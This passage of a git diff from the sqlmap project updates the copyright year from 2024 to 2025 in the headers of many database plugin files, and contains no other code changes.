b/plugins/dbms/cache/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index 97fb2ffd529..2df4b95ad43 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index a05ef048523..92e93c9339a 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index 0f89f7943bd..4df277707a6 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index 0bc6acbaf9c..689811907a7 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 65ceb29881c..e0f8bc34e26 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 369abe4d9d1..5f3434c561a 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index 9486f340153..052f6f4c570 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py index 0e36066ef06..ba9acdb8cc1 100644 --- a/plugins/dbms/cratedb/__init__.py +++ b/plugins/dbms/cratedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py index 4545fc8dfe7..32001d2c37a 100644 --- a/plugins/dbms/cratedb/connector.py +++ b/plugins/dbms/cratedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py index 349bf54dd6d..049a74707e5 100644 --- a/plugins/dbms/cratedb/enumeration.py +++ b/plugins/dbms/cratedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/cratedb/filesystem.py +++ b/plugins/dbms/cratedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py index 74e93a4782b..1bc9c4d4c6b 100644 --- a/plugins/dbms/cratedb/fingerprint.py +++ b/plugins/dbms/cratedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py index de0a0d2400c..46a6a2f556c 100644 --- a/plugins/dbms/cratedb/syntax.py +++ b/plugins/dbms/cratedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py index 6f6819f7a61..4c3df8be4c9 100644 --- a/plugins/dbms/cratedb/takeover.py +++ b/plugins/dbms/cratedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py index 1b5975cecc8..1f043092bb0 100644 --- a/plugins/dbms/cubrid/__init__.py +++ b/plugins/dbms/cubrid/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index 11e46bce3ae..b61bcd2034a 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py index ddb1c7f4728..fdd676849e1 100644 --- a/plugins/dbms/cubrid/enumeration.py +++ b/plugins/dbms/cubrid/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/cubrid/filesystem.py +++ b/plugins/dbms/cubrid/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py index afb7258220a..1208e652beb 100644 --- a/plugins/dbms/cubrid/fingerprint.py +++ b/plugins/dbms/cubrid/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py index 6e2520d9c57..bab1eb640eb 100644 --- a/plugins/dbms/cubrid/syntax.py +++ b/plugins/dbms/cubrid/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py index 1f1fcff9f81..5ff3aa03e65 100644 --- a/plugins/dbms/cubrid/takeover.py +++ b/plugins/dbms/cubrid/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index e195a3dfa4c..cf3b04cbeb9 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 3c90d022dd2..0fde474af95 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index ce11feca441..67b201c83d4 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 58752ca10d2..033c5cd0992 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index b995549f465..0cc46217cbd 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 53678c11e9f..2f12d47d72f 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py index 54192584449..b98ad256976 100644 --- a/plugins/dbms/derby/__init__.py +++ b/plugins/dbms/derby/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py index 22ddc657b09..362e59d34db 100644 --- a/plugins/dbms/derby/connector.py +++ b/plugins/dbms/derby/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py index d2e8819f916..149605d85a5 100644 --- a/plugins/dbms/derby/enumeration.py +++ b/plugins/dbms/derby/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py index 7f3df980642..40cc82d477f 100644 --- a/plugins/dbms/derby/filesystem.py +++ b/plugins/dbms/derby/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py index fbaa9a4a781..44b778464df 100644 --- a/plugins/dbms/derby/fingerprint.py +++ b/plugins/dbms/derby/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py index de0a0d2400c..46a6a2f556c 100644 --- a/plugins/dbms/derby/syntax.py +++ b/plugins/dbms/derby/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py index 36e046b53f1..c2343ae2275 100644 --- a/plugins/dbms/derby/takeover.py +++ b/plugins/dbms/derby/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py index c8923253742..7022d5384be 100644 --- a/plugins/dbms/extremedb/__init__.py +++ b/plugins/dbms/extremedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py index c50f69289f2..ae551c733d2 100644 --- a/plugins/dbms/extremedb/connector.py +++ b/plugins/dbms/extremedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py index 837250995d2..7652f65136e 100644 --- a/plugins/dbms/extremedb/enumeration.py +++ b/plugins/dbms/extremedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py index bdecb37e6ba..d2b5ee6fc1b 100644 --- a/plugins/dbms/extremedb/filesystem.py +++ b/plugins/dbms/extremedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py index 0bb3d1f1fc7..7abdf847957 100644 --- a/plugins/dbms/extremedb/fingerprint.py +++ b/plugins/dbms/extremedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py index de0a0d2400c..46a6a2f556c 100644 --- a/plugins/dbms/extremedb/syntax.py +++ b/plugins/dbms/extremedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py index d133fddb495..64ca398482c 100644 --- a/plugins/dbms/extremedb/takeover.py +++ b/plugins/dbms/extremedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index cded310729a..2ab9cf4420c 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index a654cc0add6..35ca2787b17 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index c9bf42e66b9..86761658ae5 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index f121a5f5f73..88588c63061 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index ac3192f6c36..3263b6d6449 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 2b93280915d..d14a8b24392 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 85b7063eb5d..1d1136f1d14 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py index 93aad06edac..755bf79b220 100644 --- a/plugins/dbms/frontbase/__init__.py +++ b/plugins/dbms/frontbase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py index 22e548a2b0a..3f992a93664 100644 --- a/plugins/dbms/frontbase/connector.py +++ b/plugins/dbms/frontbase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/enumeration.py b/plugins/dbms/frontbase/enumeration.py index be693126ebf..00aab858df7 100644 --- a/plugins/dbms/frontbase/enumeration.py +++ b/plugins/dbms/frontbase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/filesystem.py b/plugins/dbms/frontbase/filesystem.py index f2d3bd2c743..10bf9652938 100644 --- a/plugins/dbms/frontbase/filesystem.py +++ b/plugins/dbms/frontbase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/fingerprint.py b/plugins/dbms/frontbase/fingerprint.py index b4a141caaf6..288d02bc3ce 100644 --- a/plugins/dbms/frontbase/fingerprint.py +++ b/plugins/dbms/frontbase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/syntax.py b/plugins/dbms/frontbase/syntax.py index de0a0d2400c..46a6a2f556c 100644 --- a/plugins/dbms/frontbase/syntax.py +++ b/plugins/dbms/frontbase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/frontbase/takeover.py b/plugins/dbms/frontbase/takeover.py index d5559f4efe6..e6bdd0468a0 100644 --- a/plugins/dbms/frontbase/takeover.py +++ b/plugins/dbms/frontbase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index a204eef1269..948072b4dc2 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 711583f3938..26f5ee6c493 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index ca0ea3a0002..f1a3fae3104 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index 5ad6f4a6c99..467ef750968 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/fingerprint.py b/plugins/dbms/h2/fingerprint.py index b27a3b9d0af..dc5f89b57b7 100644 --- a/plugins/dbms/h2/fingerprint.py +++ b/plugins/dbms/h2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index e9514b006d7..cb568cae858 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index 0fd0b379dcb..5066db8ef43 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index 0cb1cd4c3ec..9f82a589b6d 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index bd900f434c2..d18eb3c891e 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index 7f35198c3e3..8d3663904e1 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py 